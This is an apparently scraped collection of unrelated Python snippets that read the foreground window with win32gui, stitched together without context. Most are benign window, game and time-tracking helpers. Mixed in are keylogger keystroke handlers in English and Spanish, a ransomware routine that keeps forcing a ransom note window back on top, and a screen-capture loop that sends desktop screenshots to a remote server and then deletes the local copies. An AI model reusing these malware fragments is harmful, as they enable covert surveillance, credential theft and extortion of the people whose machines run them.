def on_press(key): global old_app new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if new_app == 'Cortana': new_app = 'Windows Start Menu' else: pass if new_app != old_app and new_app != '': logged_data.append(f'[{datetime}] ~ {new_app}\n') old_app = new_app else: pass substitution = [ 'Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ', 'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]', 'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13', '[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd', '[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]' ] key = str(key).strip('\'') if key in substitution: logged_data.append(substitution[substitution.index(key) + 1]) else: logged_data.append(key)
def controll_PC(index, configObj): # print(configObj['gesture_list'][index]['isopen']) if index == 5: return action = [] handle = win32gui.GetForegroundWindow() threadpid, procpid = win32process.GetWindowThreadProcessId(handle) # print(procpid) 快速切换句柄可能错误 activeApp = 'cannot get path' try: mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid) activeApp = win32process.GetModuleFileNameEx(mypyproc, 0) except Exception: pass for app in configObj['program_list']: if app['name'] == '默认设置' and app['gesture_list'][index]['isopen']: action = app['gesture_list'][index]['action'] elif activeApp == app['path'] and app['gesture_list'][index]['isopen']: action = app['gesture_list'][index]['action'] break for i in action: k.press_key(keyMap.get(i)) print(i) for i in action: k.release_key(keyMap.get(i))
def fgNotSoF(): global sofId global cbuf_addText global origResDesktop global resizeDone while True: try: tup = win32gui.GetWindowPlacement(sofId) break except Exception as e: if e == KeyboardInterrupt: raise searchForSoFWindow() fgWindow = win32gui.GetForegroundWindow() if fgWindow != sofId: normal = 0 minimized = 0 if tup[1] == win32con.SW_SHOWMAXIMIZED: # print("mini false") minimized = 0 elif tup[1] == win32con.SW_SHOWMINIMIZED: # print("mini true") minimized = 1 elif tup[1] == win32con.SW_SHOWNORMAL: # print("normal true") normal = 1 if not minimized or normal: win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) if origResDesktop != getLiveDesktop(): #we know desktop res if not resizeDesktop(origResDesktop,0): print("Change res to original failed") else: cbuf_addText(b';s_nosound 1;') resizeDone = 0
def browser_user_stats(Id, s=''): if s == "": """ ONLY SUPPORTS GOOGLE CHROME AND FIREFOX FOR NOW ! """ window = subprocess.run(['xprop', '-id', Id, '_NET_WM_NAME'], stdout=subprocess.PIPE) '''unicode-escape raw_unicode_escape "utf-8", "ignore"''' window = str(window.stdout.decode("raw_unicode_escape")) final = window.split("=")[-1] final = final.replace('"', "") final = replace_space(final) final = final.split("-") final.pop(-1) name = "" for i in final: name = name + " " + i name = replace_space(name) return name else: from win32 import win32gui window = win32gui.GetForegroundWindow() name = win32gui.GetWindowText(int(window)) site_name = name.split("-")[0] + " " + name.split("-")[1] for i in range(3): if site_name[0] == " ": site_name = site_name[1:] return site_name
def tecla_presionada(tecla): global app_vieja app_nueva = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if app_nueva == 'Cortana': app_nueva = 'Menu de Inicio de Windows' else: pass if app_nueva != app_vieja and app_nueva != '': informacion_loggeada.append(f'[{fecha}] ~ {app_nueva}\n') app_vieja = app_nueva else: pass sustitucion = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[RETROCESO]', 'Key.space', ' ', 'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]', 'Key.left', '[FLECHA IZQUIERDA]', 'Key.right', '[FLECHA DERECHA]', 'Key.shift', '[SHIFT]', '\\x13', '[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd', '[TECLA DE WINDOWS]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]'] tecla = str(tecla).strip('\'') if tecla in sustitucion: informacion_loggeada.append(sustitucion[sustitucion.index(tecla)+1]) else: informacion_loggeada.append(tecla)
def switch_to_terminal_window(self): if win32gui.GetForegroundWindow() == self.script.window: window2 = win32gui.FindWindow( "ConsoleWindowClass", "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" ) self.script.focus_on_window(window2) time.sleep(1)
def __init__(self, sender_name, classname, titlename): self.cur_hwnd = win32gui.GetForegroundWindow() self.sender_name = sender_name self.classname = classname self.titlename = titlename self.con_hwnd = win32gui.FindWindow(classname, titlename) if not self.con_hwnd: print('can not find window, exit.') exit(0) self.lock = Lock()
def checkWindow(): windowName = w.GetWindowText(w.GetForegroundWindow()).lower() windowNameWords = windowName.split() expectedWordsList = ['adobe', 'acrobat', 'reader'] for word in expectedWordsList: if word not in windowNameWords: return 0 return 1
def get_app_name() -> str: app_name: List[str] = win32gui.GetWindowText( win32gui.GetForegroundWindow()).split("-") app_name = [name.strip() for name in app_name] web_browsers = ["Google Chrome", "Mozilla Firefox"] app = app_name[len(app_name) - 1] for browser in web_browsers: if browser.lower() == app.lower(): site = get_name_from_browser(app_name) return site if site else browser return app_name[len(app_name) - 1]
def getAppName(): global afk_state try: _, processID = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow()) app_name = psutil.Process(processID).name() return app_name except: # This tends to happen if the computer is going to sleep, so afk is safe to assume -- # even it it's some other reason, the afk will be undone too quickly to do damage afk_state = True return None
def get_active_window(cls): """ 获取当前激活窗口 @returns {WindowControlSpec} - 返回窗口对象 """ hwnd = win32gui.GetForegroundWindow() if hwnd == 0: # 没有找到窗口 raise base_control.WindowException('Window not Found') else: return WindowControlSpec(handle=hwnd)
def getActiveWindowBBox(self): # https://github.com/asweigart/PyGetWindow/blob/master/random_notes.txt # print("system:", platform.system()) if (platform.system() == "Windows"): # import win32gui from win32 import win32gui from ctypes import windll # Make program aware of DPI scaling user32 = windll.user32 user32.SetProcessDPIAware() # w = win32gui.GetForegroundWindow() hwnd = win32gui.GetForegroundWindow() rect = win32gui.GetWindowRect(hwnd) print("rect: ", rect) x = rect[0] y = rect[1] w = rect[2] - x h = rect[3] - y x2 = rect[2] y2 = rect[3] print("Window %s:" % win32gui.GetWindowText(hwnd)) print("\tLocation: (%d, %d)" % (x, y)) print("\tLocation: (%d, %d)" % (x2, y2)) print("\t Size: (%d, %d)" % (w, h)) bbox = (x, y, x2, y2) return bbox elif (platform.system() == "Darwin"): # https://stackoverflow.com/questions/373020/finding-the-current-active-window-in-mac-os-x-using-python from AppKit import NSWorkspace # activeApp = NSWorkspace.sharedWorkspace().activeApplication() # depricated activeApp = NSWorkspace.sharedWorkspace().frontmostApplication() print(activeApp) activeAppID = NSWorkspace.sharedWorkspace().activeApplication( )['NSApplicationProcessIdentifier'] print(activeAppID) # activeAppName = NSWorkspace.sharedWorkspace().frontmostApplication()['NSApplicationName'] # print(activeAppName) activeAppName = NSWorkspace.sharedWorkspace().activeApplication( )['NSApplicationName'] print(activeAppName) bbox = (10, 10, 510, 510) return bbox else: # try linux? bbox = (10, 10, 510, 510) return bbox bbox = (10, 10, 510, 510) return bbox
def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime): try: global lastTime global sofId #minimise a minimised window = bad? global sofMini global sofFull global resizeDone global origResDesktop global origResSof global cbuf_addText #if event == win32con.EVENT_OBJECT_FOCUS: fgWindow = win32gui.GetForegroundWindow() if fgWindow != sofId: t = threading.Timer(0.1, fgNotSoF) t.start() elif fgWindow == sofId: print(time.time()) #reduce file reads if resizeDone == 0: origres = getSoFRes() #we have focus of sof if origres != getLiveDesktop(): #LALT bug theory: #window must be minimised, desktop resized. then maximised #else bug happens win32gui.MoveWindow(sofId, 0, 0, origres[0], origres[1], False) time.sleep(0.1) win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) time.sleep(0.1) resizeDesktop(origres, 1) time.sleep(0.1) win32gui.ShowWindow(sofId, win32con.SW_MAXIMIZE) #win32gui.SetForegroundWindow(sofId) cbuf_addText(b';s_nosound 0;say on;') resizeDone = 1 except KeyboardInterrupt: sys.exit(1)
def __init__(self, name, path, process_queue, event, lock=None, logger=None): super().__init__(name, path, process_queue, event, logger=logger) with lock: self.process = subprocess.Popen(self.path, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.pid = self.process.pid try: self.process.wait(timeout=2) except subprocess.TimeoutExpired: if self.process.returncode is None: window = win32gui.GetForegroundWindow() active_window_name = win32gui.GetWindowText(window) rect = win32gui.GetWindowRect(window) if active_window_name == 'Telex': buttons = list(pyautogui.locateAllOnScreen('recieve.png')) for button in buttons: x=button[0]+(button[2]//2) y=button[1]+(button[3]//2) if rect[0] < x < rect[2] and rect[1] < y < rect[3]: pyautogui.click(x=button[0]+(button[2]//2), y=button[1]+(button[3]//2), clicks=2, button='left') time.sleep(1)
def show_ransom_note(self): ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt']) count = 0 while True: time.sleep(0.1) top_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if top_window == 'RANSOM_NOTE - Notepad': print('Ransom note is the top window - do nothing') pass else: print( 'Ransom note is not the top window - kill/create process again' ) time.sleep(0.1) ransom.kill() time.sleep(0.1) ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt']) time.sleep(10) count += 1 if count == 5: break
def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime): global last_app global last_window global last_time length = user32.GetWindowTextLengthW(hwnd) buff = ctypes.create_unicode_buffer(length + 1) status = user32.GetWindowTextW(hwnd, buff, length + 1) name = buff.value app_name = getAppName() if not afk_state and name != '' and name != last_window and name == win32gui.GetWindowText(win32gui.GetForegroundWindow()) and app_name not in getSetting("appExclude", {}): new_time = int(win32api.GetTickCount() / 1000) print(time.strftime('%X') + ' --> ' + name) saveCurrentWindowToLog() # Update state variables last_app = app_name last_time = new_time last_window = name # TCL can't display emojis so we need to clean up the window name last_window = ''.join([letter for letter in name if ord(letter) < 65536])
def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime): try: global lastTime global sofId #minimise a minimised window = bad? global sofMini global sofFull global resizedDesktop global origResDesktop global origResSof if event == win32con.EVENT_OBJECT_FOCUS: normal = False #sof stuff fgWindow = win32gui.GetForegroundWindow() #print("SoFid = "+str(sofId)+"\n") #print("fgwindow"+str(fgWindow)+"\n") while True: try: tup = win32gui.GetWindowPlacement(sofId) break except Exception as e: if e == KeyboardInterrupt: raise searchForSoFWindow() minimized = True if tup[1] == win32con.SW_SHOWMAXIMIZED: # print("mini false") minimized = False elif tup[1] == win32con.SW_SHOWMINIMIZED: # print("mini true") minimized = True elif tup[1] == win32con.SW_SHOWNORMAL: # print("normal true") normal = True if fgWindow != sofId: #focused window != sof #minimise sof just incase #account for vid_fullscreen 0 players # if minimized == False: # print("minimise sof") if normal or not minimized: win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) #if we resized desktop already #lost focus of sof # print("Desktop Active.") # print(f"What it SHOULD be : {origResDesktop[0]} , {origResDesktop[1]}") # getDesktop() # print(f"What it IS : {resDesktop[0]} , {resDesktop[1]}") if origResDesktop != getDesktop(): if resizedDesktop == 0: if ChangeDisplaySettings(None, 0) == win32con.DISP_CHANGE_SUCCESSFUL: resizedDesktop = 1 print("Change res to original") else: print("Change res to original failed") else: #what if we fail these checks and 'origResSof is never set?' #shouldnt we wait while until set? while True: if normal: print("sof = normal") origResSof = getSoFRes(sofId) print(f"Getting Sof Resolution : {origResSof[0]} , {origResSof[1]}") resizedDesktop = 0 break else: print("DEBUG**************not normal and minimised") while True: try: tup = win32gui.GetWindowPlacement(sofId) print(tup[1]) if tup[1] == win32con.SW_SHOWNORMAL: # print("mini false") normal = True print("DEBUg- maximised") break except Exception as e: if e == KeyboardInterrupt: raise searchForSoFWindow() #we have focus of sof # print("Sof Active.") # print(f"What it SHOULD be : {origResSof[0]} , {origResSof[1]}") # getDesktop() # print(f"What it IS : {resDesktop[0]} , {resDesktop[1]}") #if the current res of desktop != current res of sof if getDesktop() != origResSof: print("resize desktop to sof res") if not setRes(origResSof[0],origResSof[1]): print("failed setting sof resolution") #mini then max seems to fix the LALT bug... hm win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) win32gui.ShowWindow(sofId, win32con.SW_MAXIMIZE) else: print("desktop == sof apparently") elif event == win32con.EVENT_OBJECT_SHOW: # getSoFRes(sofId) # print(f"LOCRESX : {origResSof[0]} LOCRESY : {origResSof[1]}") pass except KeyboardInterrupt: sys.exit(1)
from win32 import win32gui as w from datetime import datetime, date import time today = date.today() # datetime object containing current date and time str2 = "" var1 = 1 while True: now = datetime.now() file2 = open( str(today.year) + "_" + str(today.month) + "_" + str(today.day) + ".txt", "a+") str_1 = w.GetWindowText(w.GetForegroundWindow()) str1 = "Following is the activity going on |" + str_1 + "| Date & Time: |" + str( now) if var1 == 1: file2.write(str1 + "\n") str_2 = w.GetWindowText(w.GetForegroundWindow()) var1 = 0 #time.sleep(5) if str_2 != str_1: #print(str_2 + "---" + str_1) str2 = "Following is the activity going on |" + str_1 + "| Date & Time: |" + str( now) file2.write(str2 + "\n") #print(str1) str_2 = str_1 file2.close()
try: imageCounter = 0; time.sleep(1); while (True): # gtawin = win32gui.FindWindow(None,"War") name = []; ## Check if correct program is started # while(name != 'Spyder (Python 3.7)'): # time.sleep(0.1); # name=win32gui.GetWindowText(win32gui.GetForegroundWindow()); # print(name) gtawin = win32gui.GetForegroundWindow() if not gtawin: raise Exception('Foxhole not running') # get the bounding box of the window left, top, x2, y2 = win32gui.GetWindowRect(gtawin) widthScreen = x2 - left + 1 heightScreen = y2 - top + 1 win32gui.ShowWindow(gtawin, 1); # win32gui.BringWindowToTop(gtawin); # win32gui.SetForegroundWindow(gtawin); windowName = 'Evaluation´of Cards'; cv2.namedWindow(windowName, cv2.WINDOW_AUTOSIZE); cv2.moveWindow(windowName, 0, 0); font = cv2.FONT_HERSHEY_SIMPLEX
def TopMostMe(x, y, width, height): hwnd = win32gui.GetForegroundWindow() #(left, top, right, bottom) = win32gui.GetWindowRect(hwnd) #win32gui.SetWindowPos(hwnd, win32con.HWND_TOPMOST, left, top, right-left, bottom-top, 0) win32gui.SetWindowPos(hwnd, win32con.HWND_TOPMOST, x, y, width, height, 0)
def screen_shot(server, sleep_time, lasting_time, running): path_i = "D:\\new" timedic = { "屏幕变化": "屏幕变化", "不限": "不限", "1s": 1, "2s": 2, "5s": 5, "10s": 10, "30s": 30, "1min": 60, "5min": 300, "10min": 600, "30min": 1800, "1h": 3600, "12h": 43200, "24h": 86400 } start = time.time() # 获取桌面 desktop = win32gui.GetDesktopWindow() # 分辨率适应 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表 desktop_dc = win32gui.GetWindowDC(desktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建一个内存设备描述表 mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象 screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) window = win32gui.GetForegroundWindow() pre_window = win32gui.GetWindowText(window) filename = '' while running.isSet(): # 将截图保存到文件中 turn_start = time.time() window = win32gui.GetForegroundWindow() current_window = win32gui.GetWindowText(window) end = time.time() if current_window != pre_window and timedic[sleep_time] == "屏幕变化": pre_window = current_window # 截图至内存设备描述表 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) isExists = os.path.exists(path_i) if not isExists: os.makedirs(path_i) filename_new = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) if filename_new != filename: filename = filename_new else: continue path_r = path_i + '\\' + filename + '.bmp' path_c = path_i + '\\' + filename + '.jpg' try: screenshot.SaveBitmapFile(mem_dc, path_r) compress_image(path_r, path_c, mb=100, step=20, quality=80) os.remove(path_r) except: continue end = time.time() if int(end - start) >= timedic[lasting_time]: flag = 1 else: flag = 0 shot_send_thread = threading.Thread(target=shot_send, args=(server, path_c, flag, path_i, filename)) shot_send_thread.start() time.sleep(0.2) elif timedic[sleep_time] != "屏幕变化": pre_window = current_window # 截图至内存设备描述表 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) isExists = os.path.exists(path_i) if not isExists: os.makedirs(path_i) filename = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) path_r = path_i + '\\' + filename + '.bmp' path_c = path_i + '\\' + filename + '.jpg' screenshot.SaveBitmapFile(mem_dc, path_r) compress_image(path_r, path_c, mb=100, step=20, quality=80) os.remove(path_r) end = time.time() if int(end - start) >= timedic[lasting_time]: flag = 1 else: flag = 0 shot_send_thread = threading.Thread(target=shot_send, args=(server, path_c, flag, path_i, filename)) shot_send_thread.start() turn_end = time.time() time.sleep(timedic[sleep_time] + turn_start - turn_end) if timedic[lasting_time] != "不限": if int(end - start) >= timedic[lasting_time]: break # 内存释放 mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) if os.path.exists(path_i) == True: try: os.chdir(path_i) for fileima in os.listdir(): os.remove(fileima) os.chdir("../") os.rmdir(path_i) except: pass server.send("screenend".encode())
def checkUpdateLoop(): global winId global sofId nameSet = 0 nameRem = 0 while True: #get winId if winId == "": #remove 'unread' title when window is maximised (ideally this would be some kind of hook) win32gui.EnumWindows(winEnumHandler, None) if sofId == "": win32gui.EnumWindows(sofWinEnumHandler, None) else: #sof.exe open if win32gui.GetForegroundWindow() != sofId: with open(desktop, "r+") as f: f.seek(0) f.write(" \n") f.write(" \n") f.seek(0) f.write("//desktop namehello \n") f.write("set ~desktop \"1\" \n") else: with open(desktop, "r+") as f: f.seek(0) f.write(" \n") f.write(" \n") f.seek(0) f.write("//desktop name12334 \n") f.write("set ~desktop \"\" \n") with open("seekdata", "r") as f: line = f.readlines() oldsize = line[0].replace("\n", "") fsize = os.path.getsize(log) #print fzize #print oldsize if int(oldsize) < fsize: with open("seekdata", "w") as f: f.write(str(fsize)) with open(log, "r", encoding="latin-1") as f: f.seek(int(oldsize)) line = f.readlines() for x in line: #print all lines to widget if ": [" in x: #a chat message insertMe = "" messages.configure(state="normal") #set name colour x = setNameColour(x) for s in x.split(): if "http" not in s: insertMe += (str(s) + " ") #print insertMe else: #print text before http messages.insert(END, '%s' % insertMe) #handle the url urlHandler(s) #reset string insertMe = " " insertMe += "\n" messages.tag_config("text", foreground=_from_rgb((204, 204, 204))) messages.insert(END, insertMe, "text") #print(mySlot) if mySlot not in x: #if its not our own input, no beep window.title("Unread") beep = mixer.Sound(resource_path( "hitmarker.wav")) #Loading File Into Mixer beep.set_volume(0.02) beep.play() #Playing It In The Whole Device if float(scroll_y.get()[1]) > 0.9: messages.see("end") messages.configure(state="disable") if win32gui.GetForegroundWindow() == winId: window.title("SoF Console") time.sleep(1)
def getfore(): # print(win32.GetWindowText(win32.GetForegroundWindow())) print(win32.GetForegroundWindow())
self.model = tf.keras.models.load_model(name) def save(self, name): self.model.save(name) ##IMAGE CAPTURE AND GAME RESET### def process_img(original_img): process_img = cv2.cvtColor(original_img, cv2.COLOR_BGR2GRAY) process_img = cv2.Canny(process_img, threshold1=200, threshold2=300) return process_img names = win32gui.GetWindowText(win32gui.GetForegroundWindow()) hwnd = win32gui.FindWindow(None, r'chrome://dino/ - Google Chrome') win32gui.SetForegroundWindow(hwnd) dimensions = win32gui.GetWindowRect(hwnd) x1, y1, x2, y2 = dimensions state_size = 50 * 13 action_size = 3 agent = DQNAgent(state_size, action_size) for e in range(n_episodes): reward = 0 ##Prep for Agent### # time1 = time.time() done = False while (done == False): im_L = ImageGrab.grab( (x1 + 20, y1 + 250, x2 * 2.8 / 3, y2 - (y2) * 7.17 / 12))
def getForegroundWindow(): return win32gui.GetForegroundWindow()
def checkActiveWindow(CorrectWindow): if CorrectWindow == win32gui.GetForegroundWindow(): return True else: return False
def script(self): try: while not self.stopFlag: self.frame.winfo_children( )[0]['text'] = 'Actual window: ' + self.actualWindowName if sys.platform in ['darwin']: newWindowName = str( NSWorkspace.sharedWorkspace().activeApplication() ['NSApplicationName']) else: window = win32gui.GetForegroundWindow() newWindowName = str( win32gui.GetWindowText(window)).split('-')[-1].strip() if self.actualWindowName != newWindowName: if self.actualWindowName != "": self.endDate = datetime.datetime.now() dif = self.endDate - self.startDate seconds = dif.seconds if seconds >= self.user['users.diff']: url = "https://awesometracker.ddns.net/addLog" data = { 'userCode': self.user['users.code'], 'trackerLogs.app': str(self.actualWindowName), 'trackerLogs.start': str(self.startDate), 'trackerLogs.stop': str(self.endDate) } r = requests.post(url=url, data=data) self.frame.winfo_children()[1][ 'text'] = "Last window: " + self.actualWindowName + " - Time: " + str( seconds) self.actualWindowName = newWindowName self.startDate = datetime.datetime.now() time.sleep(.35) self.endDate = datetime.datetime.now() dif = self.endDate - self.startDate seconds = dif.seconds if seconds >= self.user['users.diff']: url = "https://awesometracker.ddns.net/addLog" data = { 'userCode': self.user['users.code'], 'trackerLogs.app': str(self.actualWindowName), 'trackerLogs.start': str(self.startDate), 'trackerLogs.stop': str(self.endDate) } r = requests.post(url=url, data=data) except Exception as e: f = open('errors.log', 'a') f.write(str(datetime.datetime.now()) + str(e) + "\r\n") f.close() self.frame.winfo_children()[0]['text'] = "Error: " + str(e)
window = None # User settings settings = {} idle_thread = threading.Thread() # Thread to run the afk check afk_state = False # Has the system not received an input for longer than the timeout? # The day of the month at runtime start - used for end-of-day autosave current_date = time.strftime('%d') time_log = {} # The number of seconds spent on each window, using changes in window focus # State variables last_app = '' # The name of the application used prior to window switch last_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) # The name of the recently unfocused window last_time = int(win32api.GetTickCount() / 1000) # integer timestamp of the last change in focus last_autosave = last_time # The word(s) used to filter the table's contents window_filter = '' user32 = ctypes.windll.user32 ole32 = ctypes.windll.ole32 ole32.CoInitialize(0) WinEventProcType = ctypes.WINFUNCTYPE( None, ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD,
def is_active(self): """ 窗口是否激活 @property {bool} """ return (self.handle == win32gui.GetForegroundWindow())
def get_active_window(): system = sys.platform if system.lower() in ['linux', 'linux2']: root = subprocess.run(["xprop", "-root", "_NET_ACTIVE_WINDOW"],\ stdout=subprocess.PIPE) root = str(root.stdout, "utf-8") win_id = root.split()[-1] if '0x0' not in win_id: process_id = subprocess.check_output( ['xprop', '-id', win_id, 'grep', '_NET_WM_PID']).decode("utf-8").split()[-1] if 'found' not in process_id: window = psutil.Process(int(process_id)) low = element_m(window.name()).lower() if "chrome" in low or "firefox" in low: return "browser" + "-" + win_id else: return element_m(window.name()) else: List = [] data = [ 'WM_CLASS', 'WM_ICON_NAME', '_NET_WM_ICON_NAME', 'WM_NAME', '_NET_WM_NAME' ] for i in data: win = subprocess.run(['xprop', '-id', win_id, i], stdout=subprocess.PIPE) win = str(win.stdout, 'utf-8') win = win.split("=")[-1] List.append(win) List = Name_Manager(List) return window_name(List) else: return "Not Required" elif str(system).lower() in ['windows', 'win32', 'cygwin']: from win32 import win32gui window = win32gui.GetForegroundWindow() name = win32gui.GetWindowText(int(window)) name = name.replace("/n", "") name = name.replace("*", "") name = name.replace("'", "") not_req = [ "?", "save", "open", "delete", "search", "dialog", "warning", "about", "help", "settings", "option", "info" ] for i in not_req: if i in name.lower(): name = "Not Required" return name NAME = name.split("-")[-1] if "chrome" in NAME.lower() or "firefox" in NAME.lower(): name = "Browser" return name elif "/" in name: window_name_win = name.split("-")[0] return window_name_win elif "-" in name: window_name_win = name.split("-")[-1] return window_name_win else: return name else: return "Unknown Window"